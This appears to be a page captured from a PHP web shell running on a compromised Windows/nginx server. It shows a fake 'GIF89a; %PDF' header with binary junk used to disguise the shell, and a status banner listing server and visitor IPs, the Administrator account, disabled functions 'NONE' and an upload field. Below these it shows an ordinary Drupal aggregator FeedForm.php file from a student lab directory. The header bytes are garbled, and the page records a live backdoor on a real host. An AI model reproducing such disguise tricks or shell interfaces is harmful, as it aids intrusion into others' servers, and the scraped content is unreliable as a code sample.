GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/aggregator/src/ |
Upload File : |
<?php namespace Drupal\aggregator; use Drupal\Core\Entity\ContentEntityForm; use Drupal\Core\Form\FormStateInterface; use Drupal\Core\Url; /** * Form handler for the aggregator feed edit forms. */ class FeedForm extends ContentEntityForm { /** * {@inheritdoc} */ public function save(array $form, FormStateInterface $form_state) { $feed = $this->entity; $status = $feed->save(); $label = $feed->label(); $view_link = $feed->link($label, 'canonical'); if ($status == SAVED_UPDATED) { drupal_set_message($this->t('The feed %feed has been updated.', ['%feed' => $view_link])); $form_state->setRedirectUrl($feed->urlInfo('canonical')); } else { $this->logger('aggregator')->notice('Feed %feed added.', ['%feed' => $feed->label(), 'link' => $this->l($this->t('View'), new Url('aggregator.admin_overview'))]); drupal_set_message($this->t('The feed %feed has been added.', ['%feed' => $view_link])); } } }